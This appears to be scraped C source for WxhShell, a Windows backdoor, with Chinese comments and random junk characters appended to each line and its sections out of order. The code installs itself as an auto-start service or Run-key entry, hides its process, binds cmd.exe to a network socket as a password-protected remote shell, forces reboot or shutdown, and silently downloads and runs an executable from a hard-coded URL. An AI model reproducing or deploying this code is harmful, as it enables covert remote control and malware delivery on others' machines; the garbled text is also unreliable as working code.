    if(Boot(SHUTDOWN)) v7#|%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G7-k ,P^  
    else { %" l;  
    closesocket(wsh); o#z$LT1dY  
    ExitThread(0); 8)"lCIf  
    } W|0))5a  
    break; i!RYrae  
    } GGhk`z  
  // 获取shell S^EAE]  
  case 's': { rb'mFqg*u  
    CmdShell(wsh); eq&QWxiD*  
    closesocket(wsh); @}{uibLD\  
    ExitThread(0); .O#7X  
    break; yUxz,36wZ  
  } Q^@7Yg@l  
  // 退出 N@!PhP  
  case 'x': { Ix@B*Xz:`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gsa@ci  
    CloseIt(wsh); G'dN<Nw6  
    break; KPjAk  
    } /PR 4ILed  
  // 离开 \>n[x; $  
  case 'q': { VTyj<6Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^si[L52BZ  
    closesocket(wsh); !V/7q'&t=  
    WSACleanup(); 2:nI4S  
    exit(1); w5/6+@}  
    break; [>3dhj[;  
        } vW?/:  
  } @B(E&  
  } F :Ps>  
!su773vo  
  // 提示信息 V3a6QcG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); El :% \hGy  
} +$2`"%nBG  
  } m9&%A0  
ocUBSK|K)  
  return; D~M R)z_p~  
} T:|p[Xbo  
E:PPb9Kd  
// shell模块句柄 OP-{76vE&b  
int CmdShell(SOCKET sock) \6"=`H0}  
{ eT(X Ri0  
STARTUPINFO si; Odhr=Hs  
ZeroMemory(&si,sizeof(si)); _RZ"WA^[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Iu >4+6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; co^h2b  
PROCESS_INFORMATION ProcessInfo; zzW$F)X  
char cmdline[]="cmd"; l]&x~K}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nvNF~)mu  
  return 0; + DE/DR:  
} 8xh x*A  
A2A_F|f  
// 自身启动模式 v.u 5%  
int StartFromService(void) HNj;_S  
{ h9iQn<lp4.  
typedef struct 5tZ0zr  
{ ,\#s_N 7  
  DWORD ExitStatus; cN&:V2,  
  DWORD PebBaseAddress; C|3cQ{  
  DWORD AffinityMask; ZBN,%P!P0  
  DWORD BasePriority; +Kg }R5+  
  ULONG UniqueProcessId; BD86t[${W  
  ULONG InheritedFromUniqueProcessId; asLrXGGyT  
}   PROCESS_BASIC_INFORMATION; `s Pk:cNz~  
b7T;6\[m  
PROCNTQSIP NtQueryInformationProcess; #)[.Xz:U  
y*US^HJOZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; , `EOJ"|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C-h?#/#?y  
zfg+gd)Z  
  HANDLE             hProcess; @M'qi=s*  
  PROCESS_BASIC_INFORMATION pbi; @v&s|X '  
:$PrlE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (pd~ 2!;C  
  if(NULL == hInst ) return 0; &%qDi_UD  
Tm7LaM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MEp{&#v|1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x7`+T 1IJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;)P=WS:=  
TqfL Sm|  
  if (!NtQueryInformationProcess) return 0; 0G33hIOS  
Cx.##n0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^=1u2YdVw  
  if(!hProcess) return 0; -o!bO9vC  
U0{)goN.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %^nNt:N0  
\+l_H4\`K  
  CloseHandle(hProcess); iDhC_F|  
DQ c\[Gq&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LXhR"PWZM\  
if(hProcess==NULL) return 0; 6 v~nEw  
zDbO~.d  
HMODULE hMod; aIrM-c8.O  
char procName[255]; b0f6p>~q^  
unsigned long cbNeeded; C8|#  
:eJJL,v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [/VpvQ'  
X-,oL.:c  
  CloseHandle(hProcess); @7.7+blS"H  
r3-<~k-  
if(strstr(procName,"services")) return 1; // 以服务启动 P B5h5eX  
.]JIo&>5  
  return 0; // 注册表启动 T{"Ur :p  
} n~}[/ly  
k)X\z@I'  
// 主模块 $N;J)  
int StartWxhshell(LPSTR lpCmdLine) nKnrh]hX  
{ eMmNQRmH  
  SOCKET wsl; #d/T7c#  
BOOL val=TRUE; ~UNha/nt  
  int port=0; l(}L-:@A  
  struct sockaddr_in door; _2{_W9k  
/ #rH18  
  if(wscfg.ws_autoins) Install(); h{$k%YJ?  
0( A  ?&  
port=atoi(lpCmdLine); H{S+^'5Y.  
kS9;Tjcx  
if(port<=0) port=wscfg.ws_port; [6_.Y*}N  
 .P")S|  
  WSADATA data; mU?~s7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uozq^sy  
7DoU7I\u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |0}7/^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WVOj ;c  
  door.sin_family = AF_INET; %iEdUV\$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NqNU:_}  
  door.sin_port = htons(port); ~1twGG_;  
}HmkTk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P3Lsfi.  
closesocket(wsl); CV\y60n  
return 1; vTK8t:JQ~  
} vf+z0df  
Hs:zfvD  
  if(listen(wsl,2) == INVALID_SOCKET) { [[6" qq  
closesocket(wsl); A|:+c*7]  
return 1; RjPkH$u'Pj  
} 7wPI)]$  
  Wxhshell(wsl); nLG)>L  
  WSACleanup(); r `n|fD.  
{#4a}:3  
return 0; H>;,r ,  
G kG#+C0L  
} <*dcl2xS  
6-TYOUm  
// 以NT服务方式启动 1IS1P)4_0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?b{y#du2a  
{ XM w6b*O  
DWORD   status = 0; I2*(v%.-  
  DWORD   specificError = 0xfffffff; {f)aFGp  
Kl%[fjI)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wCR! bZ w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SOM? 0.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T#E$sZ  
  serviceStatus.dwWin32ExitCode     = 0; YGLq ~A  
  serviceStatus.dwServiceSpecificExitCode = 0; v~T)g"_|  
  serviceStatus.dwCheckPoint       = 0; /Wjc\n$'  
  serviceStatus.dwWaitHint       = 0; <2&qIvHL  
&B[*L+-E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dr V[1Z  
  if (hServiceStatusHandle==0) return; S#B%[3@  
x$n.\`f0  
status = GetLastError(); izaqEz  
  if (status!=NO_ERROR) 3HYdb|y  
{ A%F8w'8(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g'7\WQ  
    serviceStatus.dwCheckPoint       = 0; !&g_hmnIF  
    serviceStatus.dwWaitHint       = 0; 3Wbd=^hRvq  
    serviceStatus.dwWin32ExitCode     = status; V4ePYud;^  
    serviceStatus.dwServiceSpecificExitCode = specificError; n_RZ:<Gr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t=@d`s:R2  
    return; .S#i/A'x  
  } |9]-_a  
qK#"uU8B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zF[Xem  
  serviceStatus.dwCheckPoint       = 0; ) xa )$u  
  serviceStatus.dwWaitHint       = 0; 24? _k]Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FZ+2{wIV^  
} W,Q>3y*  
RMT9tXe*5  
// 处理NT服务事件,比如:启动、停止 7sOAaWx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rA B=H*|6  
{ iv6G9e{cx  
switch(fdwControl) ,&=7ir14>R  
{ Xn%7{%;h  
case SERVICE_CONTROL_STOP: Ao`e{  
  serviceStatus.dwWin32ExitCode = 0; IE996   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Oy=0Hsh@x  
  serviceStatus.dwCheckPoint   = 0; iJOG"gI&  
  serviceStatus.dwWaitHint     = 0; f>C+l(  
  { ]w;t0Bk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 0-7L,  
  } tugIOA  
  return; 0[%{YmI{W  
case SERVICE_CONTROL_PAUSE: Cy6!?Mik  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w`f66*@Q1  
  break; mHju$d  
case SERVICE_CONTROL_CONTINUE: Is3Y>oX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cyB+(jLHDs  
  break; XIbxi  
case SERVICE_CONTROL_INTERROGATE: #TR!x,Hc  
  break; *K$a;2WjzG  
}; qg`ae  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zn r4^i&(  
} 6:B,ir _  
]J!#"m-]  
// 标准应用程序主函数 {Hl(t$3V`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U= f9b]Y  
{ h~Z &L2V  
zc;kNkV#1Y  
// 获取操作系统版本 1) 2-UT  
OsIsNt=GetOsVer(); V )oXJL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f['lY1#V1  
6c-'CW  
  // 从命令行安装 =lk'[P/p`  
  if(strpbrk(lpCmdLine,"iI")) Install(); $A{$$8P  
f:~G)  
  // 下载执行文件 /N*<Fq7w~  
if(wscfg.ws_downexe) { Nh^I{%.x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !9$}1_,is  
  WinExec(wscfg.ws_filenam,SW_HIDE); :M{ )&{D  
} HP[B%  
{-me;ayk  
if(!OsIsNt) { @^YXE,  
// 如果时win9x,隐藏进程并且设置为注册表启动 cRr3!<EZ  
HideProc(); ;r"r1'a+@  
StartWxhshell(lpCmdLine); %gFIu.c  
} ((`{-y\K  
else e#h&Xa  
  if(StartFromService()) P (7el  
  // 以服务方式启动 Qfy_@w]  
  StartServiceCtrlDispatcher(DispatchTable); z,m3U(  
else _oBx:G6E  
  // 普通方式启动 ]] 0M  
  StartWxhshell(lpCmdLine); 86-Rm  
v+Y^mV`|  
return 0; AU`z.Isf  
} E8sM`2z5  
I F!xZ6X8  
T|S-?X,  
;ZI8vF b  
=========================================== ,#, K_oz  
5cQ]vb  
jmv=rl>E*  
J0R{|]W8  
8w[O%  
>@bU8}rT  
" +<xQF  
@"fv[=Xb  
#include <stdio.h> ]6`K  
#include <string.h> JC~sz^>p\  
#include <windows.h> !] uB4  
#include <winsock2.h> CStNCBZ|\  
#include <winsvc.h> kn>qX{W  
#include <urlmon.h> ]rY9t@  
"OI$PLK  
#pragma comment (lib, "Ws2_32.lib") cW0\f5[/  
#pragma comment (lib, "urlmon.lib") VM<0_R24z  
W9c&"T9JT  
#define MAX_USER   100 // 最大客户端连接数 ZR3,dW6S  
#define BUF_SOCK   200 // sock buffer X4hz\={  
#define KEY_BUFF   255 // 输入 buffer [T7&)p  
K*Ba;"Ugeg  
#define REBOOT     0   // 重启 -wC}JVVcK  
#define SHUTDOWN   1   // 关机 w ]T_%mdk  
_)Txg2?=  
#define DEF_PORT   5000 // 监听端口 GOA dhh-  
g_l-@  
#define REG_LEN     16   // 注册表键长度 _7:Bxx4B  
#define SVC_LEN     80   // NT服务名长度 *: FS/ir  
LNk :PD0m  
// 从dll定义API RXAE jzf   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z*q&^/N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @]~.-(IMh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yxpv;v:)=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5,f`5'$  
o!+'< IQ'  
// wxhshell配置信息 !f AvxR  
struct WSCFG { + XBF,<P  
  int ws_port;         // 监听端口 A ?V-Sz#  
  char ws_passstr[REG_LEN]; // 口令 v ))`U,Gm  
  int ws_autoins;       // 安装标记, 1=yes 0=no {RI^zNgs[  
  char ws_regname[REG_LEN]; // 注册表键名 -;"A\2_y  
  char ws_svcname[REG_LEN]; // 服务名 N@<-R<s^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $RI$VyAjD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _ti^i\8~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X}3?k<m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v:74iB$i/C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RLQ*&[A}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s1Wn.OGR4  
6 A]a@,PC  
}; 3*%+NQIj  
RfvvX$  
// default Wxhshell configuration #X*);cn  
struct WSCFG wscfg={DEF_PORT, ^hZ0"c  
    "xuhuanlingzhe", /K!f3o+  
    1, )eZuG S  
    "Wxhshell", -t<1A8%  
    "Wxhshell", (Lz|o!>  
            "WxhShell Service", Q-R?y+| x  
    "Wrsky Windows CmdShell Service", Oz(=%oS  
    "Please Input Your Password: ", m!<FlEkN  
  1, tuwlsBV  
  "http://www.wrsky.com/wxhshell.exe", ^5~x*=_  
  "Wxhshell.exe" .e3@fq  
    }; q$v0sTk0Y  
snkMxc6c[  
// 消息定义模块 s@%>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *HV_$^)=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TK'y-5W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IpzU=+h  
char *msg_ws_ext="\n\rExit."; m$_l{|4z  
char *msg_ws_end="\n\rQuit."; *tpS6{4=#7  
char *msg_ws_boot="\n\rReboot..."; A 9l d9R  
char *msg_ws_poff="\n\rShutdown..."; 9 {SzE /[  
char *msg_ws_down="\n\rSave to "; c1_Zi  
t6 -fG/Kc  
char *msg_ws_err="\n\rErr!"; SufM ~9Ll  
char *msg_ws_ok="\n\rOK!"; _[&.`jTFn  
G){+.X4g3  
char ExeFile[MAX_PATH]; 17l?li  
int nUser = 0; pg,JYn  
HANDLE handles[MAX_USER]; IR2Qc6+{  
int OsIsNt; @0H0!9'  
@m`H~]AU  
SERVICE_STATUS       serviceStatus; V{>;Z vj1R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wS7Vo{#@\  
-3d`e2^&}  
// 函数声明 :si&A;k  
int Install(void); ^oq|^O  
int Uninstall(void); L?8OWLjRy  
int DownloadFile(char *sURL, SOCKET wsh); k{X+Y6'ku  
int Boot(int flag); G^L9[c= ,  
void HideProc(void); S%?>Mh?g  
int GetOsVer(void); &dw=jHt  
int Wxhshell(SOCKET wsl); c@]G;>o  
void TalkWithClient(void *cs); D2 o|.e<r  
int CmdShell(SOCKET sock); XD!}uDZ^  
int StartFromService(void); ]-X\n  
int StartWxhshell(LPSTR lpCmdLine); 5\JV}  
OOnj(%g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^ -~=U^2tC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2|RxowXZ"  
^l ;Bo3^_  
// 数据结构和表定义 !_c6 `oW  
SERVICE_TABLE_ENTRY DispatchTable[] = z8D,[`  
{ I) *J,hs1  
{wscfg.ws_svcname, NTServiceMain}, =:R${F  
{NULL, NULL} dYwEVu6q  
}; =7:}/&  
6oq^n s-  
// 自我安装 NX;{L#lQ  
int Install(void) BjjuZN&  
{ SZ4@GK  
  char svExeFile[MAX_PATH]; ,@N.v?p>  
  HKEY key; yVPFH~1@\  
  strcpy(svExeFile,ExeFile); WoSKN7*  
#t# S(A9)  
// 如果是win9x系统,修改注册表设为自启动 e cvZwL  
if(!OsIsNt) { 9/&1lFKJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RJT55Rv{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l9y%@7  
  RegCloseKey(key); #^-'q`)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \0qFOjVj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y^{ 4}^u-^  
  RegCloseKey(key); \j we  
  return 0; 5(Q-||J  
    } FS?1O"_  
  } Skux&'N:  
} !([v=O#  
else { 2Qp]r+!  
C<^S$  
// 如果是NT以上系统,安装为系统服务 b3GTsX\2|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &s\,+d0  
if (schSCManager!=0) ^b.fci{1m  
{ <X97W\  
  SC_HANDLE schService = CreateService +@@( C9  
  ( 5':j=KQE_  
  schSCManager, <P Vmr2Jp"  
  wscfg.ws_svcname, q}g0-Da  
  wscfg.ws_svcdisp, VF7H0XR/k5  
  SERVICE_ALL_ACCESS, wmP[\^c%$j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `"iPJw14  
  SERVICE_AUTO_START, qX[C%  
  SERVICE_ERROR_NORMAL, 8L@@UUjr  
  svExeFile, e5ww~%,  
  NULL, M&/e*Ta5  
  NULL, hNp.%XnnZ  
  NULL, IeIv k55  
  NULL, lrMkp@ f.  
  NULL `soQp2h-  
  ); *Hh*!ePp  
  if (schService!=0) hH?ke(&=f  
  { ) I.uqG  
  CloseServiceHandle(schService); -fK_F6_\]  
  CloseServiceHandle(schSCManager); diw5h};W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  GL&rT&  
  strcat(svExeFile,wscfg.ws_svcname); p1ER<_fp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o3OJI_ v &  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "KY]2v.  
  RegCloseKey(key); bG)6p05Oa  
  return 0; <(~geN  
    } bXHtw} n  
  } :{xu_"nYr  
  CloseServiceHandle(schSCManager); 1<M~ #  
} 6HVGqx  
} z7*mT}Q  
\]L h a  
return 1; ,#.^2O9-^  
} 3ZYrNul"  
rV I-Yb  
// 自我卸载 m{6 *ae  
int Uninstall(void) :\1vy5 _  
{ W5 RZsS]  
  HKEY key; -dUXd<=ue  
}-WuHh#  
if(!OsIsNt) { wmX *n'l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pv8AWQQJ  
  RegDeleteValue(key,wscfg.ws_regname); ^DR`!.ttr  
  RegCloseKey(key); D4+OWbf6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [rhK2fr:i  
  RegDeleteValue(key,wscfg.ws_regname); vRO`hGH  
  RegCloseKey(key); V4%7Xj  
  return 0; 4-xg+*()  
  } Cz4l  
} M""X_~&I"  
} 79M` ?xm  
else { y;LZX-Z-  
?kc,}/4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A^ry|4`3(  
if (schSCManager!=0) VDv>I 2%  
{ m] IN-'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xx%*85<  
  if (schService!=0) gf|&u4D  
  { 3],[6%w  
  if(DeleteService(schService)!=0) { {E>(%vD  
  CloseServiceHandle(schService); ;cWFh4_  
  CloseServiceHandle(schSCManager); XZPq4(,9}  
  return 0; [-Mfgw]i  
  } 7(5 wP(  
  CloseServiceHandle(schService); }9&~+Q2  
  } _d3/="=  
  CloseServiceHandle(schSCManager); Ml,87fo  
} Gh{vExH@5(  
} l8!n!sC[,  
=ThacZHb8  
return 1; q?Mmkh)g  
} If.hA}  
cz*Z/5XH  
// 从指定url下载文件 WAh{*$Rpl  
int DownloadFile(char *sURL, SOCKET wsh) *s"{JrG`O  
{ "V7&@3  
  HRESULT hr; 0-A@X>6bs  
char seps[]= "/"; ).>O6A4:C  
char *token; ,N5-(W  
char *file; -B#>Jn#F  
char myURL[MAX_PATH]; & Pzr)W(  
char myFILE[MAX_PATH]; '[Ch8Yf\  
E.rfS$<1  
strcpy(myURL,sURL); ob>2SU[Y  
  token=strtok(myURL,seps); Sc$]ar]S  
  while(token!=NULL) p%y|w  
  { Tk0Senq,  
    file=token; r}])V[V  
  token=strtok(NULL,seps); 1x4{~g\  
  } ~G`(=\_0  
L [7Aa"R  
GetCurrentDirectory(MAX_PATH,myFILE); u+vUv~4A6  
strcat(myFILE, "\\"); IqmoWn3  
strcat(myFILE, file); 0N*~"j;r#M  
  send(wsh,myFILE,strlen(myFILE),0); Yf,U2A\  
send(wsh,"...",3,0); Y+#Vz IZw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _n_|skG  
  if(hr==S_OK) . [\S=K|/  
return 0; GbZqLZ0  
else pWXoJ0N  
return 1; aUX.4#|%  
C)`y<O  
} elm]e2)F  
*H,vqs\}y  
// 系统电源模块 veh?oJi@  
int Boot(int flag) *4F6U  
{ ;3WVrYe  
  HANDLE hToken; 6N'v`p8  
  TOKEN_PRIVILEGES tkp; N!:&Xz  
|\/Y<_)JD  
  if(OsIsNt) { ~!a~ -:#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F2RU7o'f.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |cCrLa2*-  
    tkp.PrivilegeCount = 1; Aaq!i*y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x0_$,Tz@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }*I:0"WH  
if(flag==REBOOT) { 0 lsX~d'W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rXlJW]i  
  return 0; WfE,U=e*  
} I= 'S).  
else { |/-H:\5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n$}Cj}eju  
  return 0; li?RymlF  
} %-eags~sUC  
  } U#W9]il$  
  else { #Y;_W;#  
if(flag==REBOOT) { X8(, ,>_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @e_<OU  
  return 0; =tE7XC3X_  
} \d#|n u  
else { jN43vHm\Y9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7Z+4F=2ff  
  return 0; m.A_u7D@  
} 1FiFP5  
} K7H` Yt  
(\<#fkeH  
return 1; CPCjY|w7   
} .A`Q!  
2'zYrdem  
// win9x进程隐藏模块 +5:oW~ ;  
void HideProc(void) yY$:zc"J  
{ yH0BNz8V  
3-5X^!C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -_RMiGM?T  
  if ( hKernel != NULL ) Oy^)lF/  
  { ,f;YJHEx8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :Ojsj_Z;;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xG^6'<  
    FreeLibrary(hKernel); DPE]<oM  
  } pO.+hy  
P=%' 2BQ{{  
return; ah\yw  
} A[@xTq s{{  
vf+GC*f  
// 获取操作系统版本 2}P?N  
int GetOsVer(void) [80L|?, *  
{ E6  2{sA^  
  OSVERSIONINFO winfo; 1 \_S1ZS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t_PAXj  
  GetVersionEx(&winfo); y JJNr]oq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CfoT$g  
  return 1; ? L A>5  
  else IOx9".  
  return 0; `$*cW1  
} h`0'27\C  
CVp`G"W:  
// 客户端句柄模块 8MH ZWi  
int Wxhshell(SOCKET wsl) K(+ ~#$|-~  
{ <TL!iM  
  SOCKET wsh; l H@hV  
  struct sockaddr_in client; J~3+j6?%  
  DWORD myID; ep- ~;?  
I'M,p<B  
  while(nUser<MAX_USER) G:HPd.ay  
{ ;-:Nw6 E  
  int nSize=sizeof(client); 8R;)WlLu=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :qbbo~U  
  if(wsh==INVALID_SOCKET) return 1; Bg?f}nu7  
> :s#MwIwm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [4u.*oL&  
if(handles[nUser]==0) jW^@lH EU  
  closesocket(wsh); ]\y:AkxhJ  
else c5& _'&  
  nUser++; u&HLdSHe  
  } 2`XG"[@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =N5~iMorD-  
lj{Jw.t  
  return 0; Ps@a@d"83  
} 2cy: l03  
s%K 9;(RWI  
// 关闭 socket -hx' T6G%  
void CloseIt(SOCKET wsh) N<lO!x1[H*  
{ ^a6c/2K  
closesocket(wsh); Gm 0&y  
nUser--; M PhG:^g  
ExitThread(0); ,U\F <$O  
} %z}{jqD&:X  
\zA G#{  
// 客户端请求句柄 |#p`mc%f~\  
void TalkWithClient(void *cs) L{py\4z'_  
{ U,?[x2LF  
&&/2oP+z  
  SOCKET wsh=(SOCKET)cs; @ j/UDM  
  char pwd[SVC_LEN]; :`~;~gW<  
  char cmd[KEY_BUFF]; k?%?EsR  
char chr[1]; Bg"KNg  
int i,j; Z= P]UD  
+}eGCZra  
  while (nUser < MAX_USER) { rq;Xcc  
&R? \q*  
if(wscfg.ws_passstr) { oDtgB O<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !Nu ~4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z%]s+V)st  
  //ZeroMemory(pwd,KEY_BUFF); \OV><|Lkh  
      i=0; sYQ=nL  
  while(i<SVC_LEN) { vhA 4ol  
0}a="`p#<  
  // 设置超时 >h?!6L- d  
  fd_set FdRead; S${n:e0\  
  struct timeval TimeOut; IkzY   
  FD_ZERO(&FdRead); _O76Aw-@l  
  FD_SET(wsh,&FdRead); Sm@T/+uG:  
  TimeOut.tv_sec=8; R!mFMw"  
  TimeOut.tv_usec=0; cO]_5@#f'8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3 ZZ"mlk*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'jr\F2  
'G6g yO/K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I\%a<  
  pwd=chr[0]; S?ypka"L  
  if(chr[0]==0xd || chr[0]==0xa) { '&XL|_Iq  
  pwd=0; w}wABO  
  break; Y8 c#"vm(  
  } WInfn f+'  
  i++; x4$#x70?  
    } Y[=X b  
|\PI"rW  
  // 如果是非法用户,关闭 socket 381a(F[$e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ev adY  
} P;.j5P^j`  
eXN\w]GE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (#uz_/xXa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O;bnyB$  
S}@J4}*u["  
while(1) { kx6AMx!nX  
ZCP r`H  
  ZeroMemory(cmd,KEY_BUFF); :Pa^/i  
}XJA#@  
      // 自动支持客户端 telnet标准   /$w,8pV =  
  j=0; `x{*P.]N!<  
  while(j<KEY_BUFF) { |ia#Elavo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nY]5pOF:  
  cmd[j]=chr[0];  `7v"(  
  if(chr[0]==0xa || chr[0]==0xd) { ""0 cw  
  cmd[j]=0; `\}Ck1o  
  break; >S<`ri'5_  
  } {5%u G2g  
  j++; 8dgi"/[3  
    } :eL{&&6  
`%%/`Qpj;  
  // 下载文件 zSJSus  
  if(strstr(cmd,"http://")) { eflmD$]SW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L5-p0O`R  
  if(DownloadFile(cmd,wsh)) 9L2]PU v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); } D'pyTf[  
  else AQx:}PO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y@jO#6R  
  } ZGa;'  
  else { <$ "   
U ]o  
